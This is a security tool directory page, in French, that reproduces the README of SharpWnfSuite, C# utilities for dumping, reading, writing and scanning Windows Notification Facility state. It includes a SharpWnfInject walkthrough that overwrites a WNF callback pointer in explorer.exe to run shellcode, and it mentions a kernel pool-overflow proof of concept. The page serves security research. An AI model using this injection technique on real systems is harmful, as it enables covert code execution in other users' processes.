Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/daem0nc0re/sharpwnfsuite
ReconnaissanceAnalyse des VulnérabilitésExploitationCollecte d'InformationsPost-ExploitationUtilitaires et Frameworks
GitHubdaem0nc0re/sharpwnfsuite

SharpWnfSuite

Utilitaires C# pour Windows Notification Facility

Voir le dépôt
15828il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

SharpWnfSuite

Ceci est le dépôt des outils Windows Notification Facility (WNF). Actuellement, un portage C# des outils de wnfun développés par Alex Ionescu (@aionescu) et Gabrielle Viala (@pwissenlit) a été téléversé. Lorsque je développerai des outils supplémentaires pour Windows Notification Facility, ils seront téléversés ici.

Table des matières

  • SharpWnfSuite
    • Utilisation
      • SharpWnfDump
      • SharpWnfNameDumper
      • SharpWnfClient
      • SharpWnfServer
      • SharpWnfScan
      • SharpWnfInject
    • KernelPrimitive
    • WnfCallbackPayload
    • Références
    • Remerciements

Utilisation

SharpWnfDump

Retour en haut

Projet

Cet outil permet de dumper ou de manipuler les informations relatives aux WNF State Names. Équivalent à wnfdump.exe et WnfDump.py. J'ai apporté quelques mises à jour par rapport à l'outil d'origine (gestion des exceptions, Well-Known State Name et nouveau membre WNF_DATA_SCOPE).

Pour récupérer les informations sur tous les WNF State Names Well-Known, Permanent et Persistent présents sur votre hôte, exécutez avec l'option -d (--dump) :``` PS C:\Dev> .\SharpWnfDump.exe -d

| WNF State Name [WellKnown Lifetime] | S | L | P | AC | N | CurSize | MaxSize | Changes |

| WNF_WEBA_CTAP_DEVICE_STATE | S | W | N | RW | I | 0 | 12 | 0 | | WNF_WEBA_CTAP_DEVICE_CHANGE_NOTIFY | S | W | N | RW | I | 0 | 4 | 0 | | WNF_PNPA_DEVNODES_CHANGED | S | W | N | RO | U | 0 | 0 | 11 |

--snip--

root@kitploit:~
Pour afficher uniquement le nom d'état utilisé dans le système, définissez le drapeau `-u` (`--used`).
Ce drapeau peut être appliqué aux options `-d` et `-b` :```
PS C:\Dev> .\SharpWnfDump.exe -d -u

| WNF State Name [WellKnown Lifetime]                             | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| WNF_PNPA_DEVNODES_CHANGED                                       | S | W | N | RO | U |       0 |       0 |     140 |
| WNF_AUDC_RENDER                                                 | S | W | N | RO | U |    4096 |    4096 |       7 |
| WNF_AUDC_CAPTURE                                                | S | W | N | RO | U |    4096 |    4096 |       1 |
| WNF_AUDC_SPATIAL_STATUS                                         | S | W | N | RO | U |    4096 |    4096 |       3 |

--snip--

Si vous souhaitez récupérer les informations du descripteur de sécurité, définissez l'option -s (--sid) :``` PS C:\Dev> .\SharpWnfDump.exe -d -s

| WNF State Name [WellKnown Lifetime] | S | L | P | AC | N | CurSize | MaxSize | Changes |

| WNF_WEBA_CTAP_DEVICE_STATE | S | W | N | RW | I | 0 | 12 | 0 |

root@kitploit:~
    D:(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;S-1-5-80-242729624-280608522-2219052887-3187409060-2225943459)(A;;CC;;;AU)(A;;CC;;;AC)

| WNF_WEBA_CTAP_DEVICE_CHANGE_NOTIFY | S | W | N | RW | I | 0 | 4 | 0 |

root@kitploit:~
    D:(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;S-1-5-80-242729624-280608522-2219052887-3187409060-2225943459)(A;;CC;;;AU)(A;;CC;;;AC)

| WNF_PNPA_DEVNODES_CHANGED | S | W | N | RO | U | 0 | 0 | 11 |

root@kitploit:~
    D:(A;;CC;;;BU)(A;;CCDC;;;SY)

--snip--

root@kitploit:~
Si vous souhaitez récupérer les données du buffer, utilisez l'option `-v` (`--value`) ou `-r` (`--read`).
Ces options peuvent être utilisées avec l'option `-s` :```
PS C:\Dev> .\SharpWnfDump.exe -d -v

| WNF State Name [WellKnown Lifetime]                             | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| WNF_WEBA_CTAP_DEVICE_STATE                                      | S | W | N | RW | I |       0 |      12 |       0 |
| WNF_WEBA_CTAP_DEVICE_CHANGE_NOTIFY                              | S | W | N | RW | I |       0 |       4 |       0 |

--snip--

| WNF_AUDC_RENDER                                                 | S | W | N | RO | U |    4096 |    4096 |       1 |

                   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

        00000000 | 01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 | ........ ........
        00000010 | 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 | ........ ........
        00000020 | 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 | ........ ........

--snip--

Pour récupérer les informations de tous les noms d'état WNF temporaires sur votre hôte, exécutez avec l'option -b (--brut) :``` PS C:\Dev> .\SharpWnfDump.exe -b

| WNF State Name [System Scope] | S | L | P | AC | N | CurSize | MaxSize | Changes |

| 0x41C64E6DA3AC3845 | S | T | N | RW | A | 8 | ? | 1 | | 0x41C64E6DA3AC4845 | S | T | N | RW | A | 8 | ? | 1 | | 0x41C64E6DA3AC6845 | S | T | N | RW | A | 8 | ? | 1 |

--snip--

root@kitploit:~
Le drapeau `-b` (`--brut`) peut être utilisé avec le drapeau `-v` (`--value`) ou `-r` (`--read`), mais ne peut pas être utilisé avec le drapeau `-s` (`--sid`).

La signification de chaque colonne du tableau obtenu à partir des résultats de l'option `--dump` ou `--brut` est la suivante :

| Nom de colonne | Description |
| :--- | :--- |
| `WNF State Name` | Les noms d'état WNF sont affichés ici |
| `S` | Portée des données pour le nom d'état WNF. La signification des lettres affichées est la suivante :<br><br>+ `S` : Portée système<br>+ `s` : Portée session<br>+ `U` : Portée utilisateur<br>+ `P` : Portée processus<br>+ `M` : Portée machine<br>+ `p` : Portée machine physique |
| `L` | Durée de vie du nom d'état WNF. La signification des lettres affichées est la suivante :<br><br>+ `W` : Bien connu<br>+ `P` : Permanent<br>+ `V` : Persistant (volatile)<br>+ `T` : Temporaire |
| `P` | Affiche si le nom d'état WNF est permanent :<br><br>+ `Y` : Oui<br>+ `N` : Non |
| `AC` | Contrôle d'accès pour le nom d'état WNF :<br><br>+ `RW` : Lecture et écriture<br>+ `RO` : Lecture seule<br>+ `WO` : Écriture seule<br>+ `NA` : Ni lecture ni écriture |
| `N` | Affiche l'existence d'abonnés :<br><br>+ `A` : Un abonné existe<br>+ `I` : Aucun abonné n'existe<br>+ `U` : Inconnu |
| `CurSize` | Le nombre indique la taille actuelle du tampon utilisée pour le nom d'état WNF. |
| `MaxSize` | Le nombre indique la taille maximale du tampon pouvant être utilisée pour le nom d'état WNF. |
| `Changes` | Le nombre indique combien de fois il a été mis à jour. |

Si vous souhaitez récupérer des informations sur un nom d'état WNF spécifique, exécutez `SharpWnfDump.exe` avec l'option `-i` (`--info`) comme suit :```
PS C:\Dev> .\SharpWnfDump.exe -i WNF_SHEL_APPRESOLVER_SCAN

| WNF State Name                                                  | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| WNF_SHEL_APPRESOLVER_SCAN                                       | S | W | N | RW | A |       4 |       4 |       1 |

L'option -i (--info) peut être utilisée avec les indicateurs -v (--value), -r (--read) et -s (--sid) :``` PS C:\Dev> .\SharpWnfDump.exe -i WNF_SHEL_APPRESOLVER_SCAN -s -v

| WNF State Name | S | L | P | AC | N | CurSize | MaxSize | Changes |

| WNF_SHEL_APPRESOLVER_SCAN | S | W | N | RW | A | 4 | 4 | 1 |

root@kitploit:~
    D:(A;;CC;;;WD)(A;;CCDC;;;AU)(A;;CCDC;;;AC)

               00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

    00000000 | 01 00 00 00                                     | ....
root@kitploit:~
Pour lire des données d'un WNF State Name spécifique, utilisez l'option `-r` (`--read`) comme suit :```
PS C:\Dev> .\SharpWnfDump.exe -r WNF_SHEL_APPRESOLVER_SCAN

WNF_SHEL_APPRESOLVER_SCAN:

        00000000 | 11 00 00 00                                     | ....

Pour écrire des données vers un WNF State Name spécifique, utilisez l'option -w (--write) comme suit (les données à écrire doivent être fournies via un fichier) :``` PS C:\Dev> "hi" | Out-File -Encoding ascii -FilePath C:\Dev\test.txt PS C:\Dev> Get-Content -Path C:\Dev\test.txt hi PS C:\Dev> .\SharpWnfDump.exe -w WNF_SHEL_APPRESOLVER_SCAN C:\Dev\test.txt

[>] Trying to write data. [] Target WNF Name : WNF_SHEL_APPRESOLVER_SCAN [] Data Source : C:\Dev\test.txt [+] Data is written successfully.

PS C:\Dev> .\SharpWnfDump.exe -i WNF_SHEL_APPRESOLVER_SCAN -r

| WNF State Name | S | L | P | AC | N | CurSize | MaxSize | Changes |

| WNF_SHEL_APPRESOLVER_SCAN | S | W | N | RW | A | 4 | 4 | 2 |

root@kitploit:~
               00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

    00000000 | 68 69 0D 0A                                     | hi..
root@kitploit:~
### SharpWnfNameDumper

[Retour en haut](#sharpwnfsuite)

[Projet](https://github.com/daem0nc0re/sharpwnfsuite/blob/HEAD/SharpWnfSuite/SharpWnfNameDumper)

Cet outil extrait les noms d'états bien connus (Well-Known State Name) depuis une DLL (généralement perf_nt_c.dll).
Équivalent de [WnfNameDumper.py](https://github.com/ionescu007/wnfun/blob/master/script_python/WnfNameDumper.py).

En règle générale, les noms d'états bien connus sont contenus dans perf_nt_c.dll (présente dans l'Analyseur de performances Windows).
Pour extraire les noms d'états bien connus depuis la DLL, exécutez `SharpWnfNameDumper.exe` avec l'option `-d` (`--dump`) comme suit :```
PS C:\Dev> .\SharpWnfNameDumper.exe -d perf_nt_c.dll

[>] Output results in C# style.

public enum WELL_KNOWN_WNF_NAME : ulong
{
    WNF_9P_REDIRECTOR_STARTED = 0x41C61E54A3BC1075UL,
    WNF_9P_UNKNOWN_DISTRO_NAME = 0x41C61E54A3BC0875UL,

--snip--

Si vous souhaitez afficher la description des noms d'états bien connus, utilisez l'option -v:``` PS C:\Dev> .\SharpWnfNameDumper.exe -d perf_nt_c.dll -v

[>] Output results in C# style.

public enum WELL_KNOWN_WNF_NAME : ulong { // The Plan 9 Redirector was started and is ready to accept requests. WNF_9P_REDIRECTOR_STARTED = 0x41C61E54A3BC1075UL, // The Plan 9 Redirector got a request for an unknown WSL distribution and there is no user callback registered to query it. WNF_9P_UNKNOWN_DISTRO_NAME = 0x41C61E54A3BC0875UL,

--snip--

root@kitploit:~
Pour spécifier le format de sortie, utilisez l'option `-f` (`--format`). `SharpWnfNameDumper.exe` prend en charge les formats C#, C (`-f c`) et Python (`-f py`), le format par défaut étant C# :```
PS C:\Dev> .\SharpWnfNameDumper.exe -d perf_nt_c.dll -f py

[>] Output results in Python style.

g_WellKnownWnfNames = {
    "WNF_9P_REDIRECTOR_STARTED": 0x41C61E54A3BC1075,
    "WNF_9P_UNKNOWN_DISTRO_NAME": 0x41C61E54A3BC0875,

--snip--

Pour écrire le résultat dans un fichier, utilisez l'option -o (--output) pour spécifier le chemin du fichier de sortie :``` PS C:\Dev> .\SharpWnfNameDumper.exe -d perf_nt_c.dll -o result.txt

[>] Output results in C# style.

C:\dev>type result.txt public enum WELL_KNOWN_WNF_NAME : ulong { WNF_9P_REDIRECTOR_STARTED = 0x41C61E54A3BC1075UL, WNF_9P_UNKNOWN_DISTRO_NAME = 0x41C61E54A3BC0875UL,

--snip--

root@kitploit:~
Pour prendre un diff de 2 DLLs, utilisez l'option `-D` (`--diff`) :```
PS C:\Dev> .\SharpWnfNameDumper.exe -D perf_nt_c_old.dll perf_nt_c_new.dll

[>] Output results in C# style.

################################################
#                   NEW KEYS                   #
################################################


public enum WELL_KNOWN_WNF_NAME : ulong
{
    WNF_SHEL_CHAT_ICON_BADGE = 0x0D83063EA3B8A035UL,
    WNF_SHEL_ENTERPRISE_START_PINS_POLICY_VALUE_CHANGED = 0x0D83063EA3B89475UL,
    WNF_SHEL_FILE_EXPLORER_PINNED_FOLDERS = 0x0D83063EA3B8ACF5UL,
    WNF_SHEL_MAC_AUTO_UPDATE_SUCCEEDED = 0x0D83063EA3B89875UL
}

SharpWnfClient

Retour en haut

Projet

C'est un outil permettant de s'abonner à un nom d'état WNF. Équivalent à wnfclient-rtl.exe et WnfClientServer.py.

Par exemple, si vous souhaitez surveiller l'état de WNF_SHEL_APPLICATION_STARTED, exécutez SharpWnfClient.exe comme suit :``` PS C:\Dev> .\SharpWnfClient.exe WNF_SHEL_APPLICATION_STARTED

[>] Received data from server. [] Timestamp : 4 [] Buffer Size : 92 byte(s) [*] Data :

root@kitploit:~
               00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

    00000000 | 61 00 3A 00 6D 00 69 00-63 00 72 00 6F 00 73 00 | a.:.m.i. c.r.o.s.
    00000010 | 6F 00 66 00 74 00 2E 00-77 00 69 00 6E 00 64 00 | o.f.t... w.i.n.d.
    00000020 | 6F 00 77 00 73 00 74 00-65 00 72 00 6D 00 69 00 | o.w.s.t. e.r.m.i.
    00000030 | 6E 00 61 00 6C 00 5F 00-38 00 77 00 65 00 6B 00 | n.a.l._. 8.w.e.k.
    00000040 | 79 00 62 00 33 00 64 00-38 00 62 00 62 00 77 00 | y.b.3.d. 8.b.b.w.
    00000050 | 65 00 21 00 61 00 70 00-70 00 00 00             | e.!.a.p. p...
root@kitploit:~
Ensuite, si vous lancez l'application Bloc-notes, vous devriez voir le résultat suivant :```
[>] Received data from server.
    [*] Timestamp : 5
    [*] Buffer Size : 90 byte(s)
    [*] Data :

                   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

        00000000 | 61 00 3A 00 6D 00 69 00-63 00 72 00 6F 00 73 00 | a.:.m.i. c.r.o.s.
        00000010 | 6F 00 66 00 74 00 2E 00-77 00 69 00 6E 00 64 00 | o.f.t... w.i.n.d.
        00000020 | 6F 00 77 00 73 00 6E 00-6F 00 74 00 65 00 70 00 | o.w.s.n. o.t.e.p.
        00000030 | 61 00 64 00 5F 00 38 00-77 00 65 00 6B 00 79 00 | a.d._.8. w.e.k.y.
        00000040 | 62 00 33 00 64 00 38 00-62 00 62 00 77 00 65 00 | b.3.d.8. b.b.w.e.
        00000050 | 21 00 61 00 70 00 70 00-00 00                   | !.a.p.p. ..

SharpWnfServer

Retour en haut

Projet

Cet outil crée un nom d'état WNF à durée de vie temporaire et envoie un message à l'abonné. Équivalent à wnfserver.exe et WnfClientServer.py.

Pour démarrer un nouveau serveur de nom d'état WNF, exécutez simplement SharpWnfServer.exe. Nous devrions entrer dans un shell interactif comme suit :``` PS C:\Dev> .\SharpWnfServer.exe

[+] New WNF State Name is created successfully : 0x41C64E6DA3834945

Encoded State Name: 0x41C64E6DA3834945, Decoded State Name: 0x3F4931 Version: 1, Lifetime: Temporary, Scope: Machine, Permanent: NO, Sequence Number: 0x7E9, Owner Tag: 0x0

Sending input data to WNF subscriber...

[INPUT]>

root@kitploit:~
Après l'exécution de `SharpWnfServer.exe`, exécutez `SharpWnfClient.exe` avec le WNF State Name fourni par `SharpWnfServer.exe` depuis un autre terminal. Vous devriez recevoir « Hello, world! » comme message de `SharpWnfServer.exe` :```
PS C:\Dev> .\SharpWnfClient.exe 0x41C64E6DA3834945

[>] Received data from server.
    [*] Timestamp : 1
    [*] Buffer Size : 13 byte(s)
    [*] Data :

                   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

        00000000 | 48 65 6C 6C 6F 2C 20 77-6F 72 6C 64 21          | Hello,.w orld!

Pour publier un message supplémentaire à SharpWnfClient.exe, saisissez votre message dans le shell interactif de SharpWnfServer.exe :``` [INPUT]> This is WNF test Sending input data to WNF subscriber...

[INPUT]>

root@kitploit:~
Ensuite, vous devriez voir le message dans le terminal pour `SharpWnfClient.exe` comme suit :```
[>] Received data from server.
    [*] Timestamp : 2
    [*] Buffer Size : 16 byte(s)
    [*] Data :

                   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

        00000000 | 54 68 69 73 20 69 73 20-57 4E 46 20 74 65 73 74 | This.is. WNF.test

SharpWnfScan

Retour en haut

Projet

Cet outil est basé sur le wnfscan de modexp, et extrait les informations d'abonnement WNF du processus.``` PS C:\Dev> .\SharpWnfScan.exe -h

SharpWnfScan - Tool for dumping WNF information from process.

Usage: SharpWnfScan.exe [Options]

root@kitploit:~
    -h, --help        : Displays this help message.
    -p, --pid         : Specifies the target PID.
    -P, --processname : Specifies the target process name.
    -n, --name        : Specifies a wnf state name for filtering.
    -a, --all         : Flag to dump information from all process.
    -l, --list        : Flag to list WNF State Name on this system.
    -d, --debug       : Flag to enable SeDebugPrivilege. Administrative privilege is required.
    -v, --verbose     : Flag to get verbose information.
root@kitploit:~
Pour vider un processus spécifique, définissez l'option `-p` comme suit :```
PS C:\Dev> .\SharpWnfScan.exe -p 5800

Process ID      : 5800
Image File Name : C:\Windows\explorer.exe
Architecture    : ARM64

WNF_SUBSCRIPTION_TABLE @ 0x0000000001206660

    WNF_NAME_SUBSCRIPTION @ 0x0000000001206B00
    StateName : 0x0280032EA3BC0875 (WNF_CMFC_FEATURE_CONFIGURATION_CHANGED)

    WNF_NAME_SUBSCRIPTION @ 0x000000000120AD10
    StateName : 0x418B1929A3BC3835 (WNF_DWM_DUMP_REQUEST)

    WNF_NAME_SUBSCRIPTION @ 0x0000000005099950
    StateName : 0x41960A2EA3BC1835 (WNF_CDP_CDPUSERSVC_READY)

--snip--

Si vous souhaitez obtenir les informations WNF_USER_SUBSCRIPTION, définissez le flag -v comme suit :``` PS C:\Dev> .\SharpWnfScan.exe -p 5800 -v

Process ID : 5800 Image File Name : C:\Windows\explorer.exe Architecture : ARM64

WNF_SUBSCRIPTION_TABLE @ 0x0000000001206660

root@kitploit:~
WNF_NAME_SUBSCRIPTION @ 0x0000000001206B00
StateName : 0x0280032EA3BC0875 (WNF_CMFC_FEATURE_CONFIGURATION_CHANGED)

    WNF_USER_SUBSCRIPTION @ 0x0000000001206A40
    Callback @ 0x00007FFE88478470 (ntdll!RtlNotifyFeatureUsage+0x1C0)
    Context  @ 0x00007FFE886F0B20 (ntdll!NlsAnsiCodePage+0x2390)

WNF_NAME_SUBSCRIPTION @ 0x000000000120AD10
StateName : 0x418B1929A3BC3835 (WNF_DWM_DUMP_REQUEST)

    WNF_USER_SUBSCRIPTION @ 0x0000000001207FD0
    Callback @ 0x00007FF7073027C0 (explorer)
    Context  @ 0x0000000001208CC0 (N/A)

--snip--

root@kitploit:~
Vous pouvez spécifier les processus cibles par nom avec l'option `-P` :```
PS C:\Dev> .\SharpWnfScan.exe -P notepad

Process ID      : 8720
Image File Name : C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2401.26.0_arm64__8wekyb3d8bbwe\Notepad\Notepad.exe
Architecture    : ARM64

WNF_SUBSCRIPTION_TABLE @ 0x000001DE2B007560

    WNF_NAME_SUBSCRIPTION @ 0x000001DE2B02D640
    StateName : 0x41C61629A3BC2835 (WNF_DX_MONITOR_CHANGE_NOTIFICATION)

    WNF_NAME_SUBSCRIPTION @ 0x000001DE2B03E040
    StateName : 0x41950223A3BC1035 (WNF_NLS_USER_UILANG_CHANGED)

--snip--

Pour filtrer par nom d'état, définissez une chaîne hexadécimale ou une chaîne de nom wnf bien connue pour l'option -n comme suit :``` PS C:\Dev> .\SharpWnfScan.exe -P notepad -n WNF_RPCF_FWMAN_RUNNING

Process ID : 8720 Image File Name : C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2401.26.0_arm64__8wekyb3d8bbwe\Notepad\Notepad.exe Architecture : ARM64

WNF_SUBSCRIPTION_TABLE @ 0x000001DE2B007560

root@kitploit:~
WNF_NAME_SUBSCRIPTION @ 0x000001DE2B075040
StateName : 0x07851E3FA3BC0875 (WNF_RPCF_FWMAN_RUNNING)

PS C:\Dev> .\SharpWnfScan.exe -P notepad -n 0x07851E3FA3BC0875

Process ID : 8720 Image File Name : C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2401.26.0_arm64__8wekyb3d8bbwe\Notepad\Notepad.exe Architecture : ARM64

WNF_SUBSCRIPTION_TABLE @ 0x000001DE2B007560

root@kitploit:~
WNF_NAME_SUBSCRIPTION @ 0x000001DE2B075040
StateName : 0x07851E3FA3BC0875 (WNF_RPCF_FWMAN_RUNNING)
root@kitploit:~
Pour vider tous les processus à la fois, utilisez l'option `-a` :```
PS C:\Dev> .\SharpWnfScan.exe -a

Process ID      : 1180
Image File Name : C:\Windows\System32\svchost.exe
Architecture    : ARM64

WNF_SUBSCRIPTION_TABLE @ 0x000002101A806560

    WNF_NAME_SUBSCRIPTION @ 0x000002101A830120
    StateName : 0x07851E3FA3BC0875 (WNF_RPCF_FWMAN_RUNNING)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86C1C0
    StateName : 0x41C64E6DA3B0E045 (N/A)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A833C50
    StateName : 0x41C64E6DA3BC6145 (N/A)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A846A50
    StateName : 0x41C64E6DA3BD0945 (N/A)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86CA00
    StateName : 0x41C64E6DA3BB8045 (N/A)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A806A00
    StateName : 0x0280032EA3BC0875 (WNF_CMFC_FEATURE_CONFIGURATION_CHANGED)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86C4C0
    StateName : 0x41C64E6DA3B1E045 (N/A)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86C700
    StateName : 0x41C64E6DA3A0F945 (N/A)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A830EE0
    StateName : 0x4195003AA3BC0875 (WNF_WNS_CONNECTIVITY_STATUS)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86C880
    StateName : 0x41C6072FA3BC3875 (WNF_BI_APPLICATION_SERVICING_START_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86CC40
    StateName : 0x41C6072FA3BC1875 (WNF_BI_USER_LOGOFF_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A835E90
    StateName : 0x41C6072FA3BC1075 (WNF_BI_USER_LOGON_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86CD00
    StateName : 0x41C6072FA3BC2875 (WNF_BI_SESSION_DISCONNECT_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86CAC0
    StateName : 0x41C6072FA3BC2075 (WNF_BI_SESSION_CONNECT_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86C940
    StateName : 0x41840B3EA3BC2075 (WNF_SEB_NETWORK_STATE_CHANGES)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A853920
    StateName : 0x41C6072FA3BC3075 (WNF_BI_APPLICATION_UNINSTALL_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A836040
    StateName : 0x41C6072FA3BC4875 (WNF_BI_LOCK_SCREEN_UPDATE_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86C580
    StateName : 0x41C6072FA3BC4075 (WNF_BI_APPLICATION_SERVICING_STOP_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A833B80
    StateName : 0x41C6072FA3BC6075 (WNF_BI_QUIET_MODE_UPDATE_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86C400
    StateName : 0x41C6072FA3BC5075 (WNF_BI_EVENT_DELETION)

Process ID      : 2952
Image File Name : C:\Windows\System32\svchost.exe
Architecture    : ARM64

WNF_SUBSCRIPTION_TABLE @ 0x0000023DD3A065C0

    WNF_NAME_SUBSCRIPTION @ 0x0000023DD3AF8B80
    StateName : 0x41C64E6DA3B1E045 (N/A)

    WNF_NAME_SUBSCRIPTION @ 0x0000023DD3AF8C40
    StateName : 0x41C64E6DA3BC6145 (N/A)

--snip--

Pour activer SeDebugPrivilege, définissez le drapeau -d comme suit. Cette option nécessite des privilèges administratifs :``` PS C:\Dev> .\SharpWnfScan.exe -d -P winlogon

[+] SeDebugPrivilege is enabled successfully.

Process ID : 680 Image File Name : C:\Windows\System32\winlogon.exe Architecture : ARM64

WNF_SUBSCRIPTION_TABLE @ 0x00000265F4E05F80

root@kitploit:~
WNF_NAME_SUBSCRIPTION @ 0x00000265F4E48AE0
StateName : 0x41C64E6DA3BC6145 (N/A)

WNF_NAME_SUBSCRIPTION @ 0x00000265F4E27AD0
StateName : 0x41C61629A3BC1035 (WNF_DX_MODE_CHANGE_NOTIFICATION)

--snip--

root@kitploit:~
Pour lister les noms d'états WNF utilisés dans le système cible, utilisez l'option `-l` comme suit :```
PS C:\Dev> .\SharpWnfScan.exe -l

[>] Trying to list WNF State Names used in this system. Wait a moment.

[1304 WNF State Names]

[*] 0x07851E3FA3BC0875 (WNF_RPCF_FWMAN_RUNNING)
[*] 0x41C64E6DA3B0E045 (N/A)
[*] 0x41C64E6DA3BC6145 (N/A)
[*] 0x41C64E6DA3BD0945 (N/A)
[*] 0x41C64E6DA3BB8045 (N/A)
[*] 0x0280032EA3BC0875 (WNF_CMFC_FEATURE_CONFIGURATION_CHANGED)
[*] 0x41C64E6DA3B1E045 (N/A)

--snip--

[16 Access Denied Processes]

[*] svchost (PID : 2352)
[*] svchost (PID : 4952)
[*] MsMpEng (PID : 3132)
    
--snip--

[*] Done.

SharpWnfInject

Retour en haut

Projet

Cet outil vise à étudier comment les attaquants peuvent abuser de WNF pour une technique d'injection de code :``` PS C:\Dev> .\SharpWnfInject.exe -h

SharpWnfInject - Tool to investigate WNF code injection technique.

Usage: SharpWnfInject.exe [Options]

root@kitploit:~
    -h, --help  : Displays this help message.
    -n, --name  : Specifies WNF State Name to inject. Hex format or Well-known name format is accepted.
    -p, --pid   : Specifies PID to inject.
    -i, --input : Specifies the file path to shellcode.
    -d, --debug : Flag to enable SeDebugPrivilege. Requires administrative privilege.

[!] -n option is required.

root@kitploit:~
Cet outil écrase le pointeur de fonction de rappel dans `WNF_USER_SUBSCRIPTION` pour un nom d'état WNF spécifique.
La technique d'injection de code ne fonctionne pas pour tous les noms d'état WNF.
Par exemple, on sait que cette technique est disponible pour `WNF_SHEL_WINDOWSTIP_CONTENT_PUBLISHED` utilisé par `explorer.exe` sous Windows 11 23H2.
Pour tester cette technique, exécutez cet outil comme suit :```
PS C:\Dev> .\SharpWnfInject.exe -p 5800 -n WNF_SHEL_WINDOWSTIP_CONTENT_PUBLISHED -i .\notepad_arm64.bin

[*] Target WNF State Name is 0x0D83063EA3BE10F5 (WNF_SHEL_WINDOWSTIP_CONTENT_PUBLISHED).
[+] Got a handle from the target Process
    [*] Process Name    : explorer.exe
    [*] Process ID      : 5800
    [*] Image File Name : C:\Windows\explorer.exe
    [*] Architecture    : ARM64
[+] Pointer for WNF_SUBSCRIPTION_TABLE is at 0x00007FFE886F4E20.
[+] WNF_SUBSCRIPTION_TABLE is at 0x0000000001206660.
[*] WNF_NAME_SUBSCRIPTION is at 0x0000000001273540.
[+] Got 1 WNF_USER_SUBSCRIPTION.
[*] Target callback pointer is at 0x00000000051C2250.
[*] Callback function is at 0x00007FFE54FD4D20 (twinui!DllGetClassObject+0x11AFF0).
[+] Shellcode buffer is at 0x0000000003270000.
[+] 344 bytes shellcode is written successfully.
[+] Callback pointer is overwritten successfully.
[>] Triggering shellcode.
[+] WNF State Data is updated successfully. Shellcode might be executed.
[+] Callback pointer is reverted successfully.
[*] Done.

Si vous souhaitez activer SeDebugPrivilege, utilisez l'option -d et exécutez avec des privilèges administratifs. Des shellcodes d'exemple pour exécuter le Bloc-notes se trouvent dans le répertoire Shellcode.

KernelPrimitive

Retour en haut

Les projets de ce répertoire visent à démontrer la primitive WNF pour l'exploitation du noyau. Vous pouvez lire les informations détaillées dans la présentation et les blogs d'Alex Plaskett (Partie 1, Partie 2, Diapositives).

La fiabilité du PoC n'est pas de 100 %. J'ai défini les offsets du noyau pour toutes les versions de Windows 10 x64, mais testé uniquement sous Windows 10 Version 1903 x64.

ProjetDescription
PoolVulnDrvPilote noyau vulnérable pour tester la primitive noyau WNF.
WnfPoolOverflowPoC pour exploiter PoolVulnDrv.

WnfPrimitive.png

WnfCallbackPayload

Ce répertoire contient des documents et des exemples de code pour créer votre propre shellcode de rappel WNF. Voir README.md.

Références

Retour en haut

  • Windows Notification Facility: Peeling the Onion of the Most Undocumented Kernel Attack Surface Yet
  • Playing with the Windows Notification Facility (WNF)
  • wnfun
  • Windows Process Injection : Windows Notification Facility
  • New WNF User Subscription Structures in Windows 11
  • CVE-2021-31956 Exploiting the Windows Kernel (NTFS with WNF) – Part 1
  • CVE-2021-31956 Exploiting the Windows Kernel (NTFS with WNF) – Part 2
  • POC2021 – Pwning the Windows 10 Kernel with NTFS and WNF Slides

Remerciements

Retour en haut

Merci pour vos recherches :

  • Alex Ionescu (@aionescu)
  • Gabrielle Viala (@pwissenlit)
  • odzhan (@modexpblog)
  • Alex Plaskett (@alexjplaskett)

Merci pour votre aide :

  • mishap (@oopsmishap)
Télécharger l’outil
SharpWnfSuite — Utilitaires C# pour Windows Notification Facility | Kitploit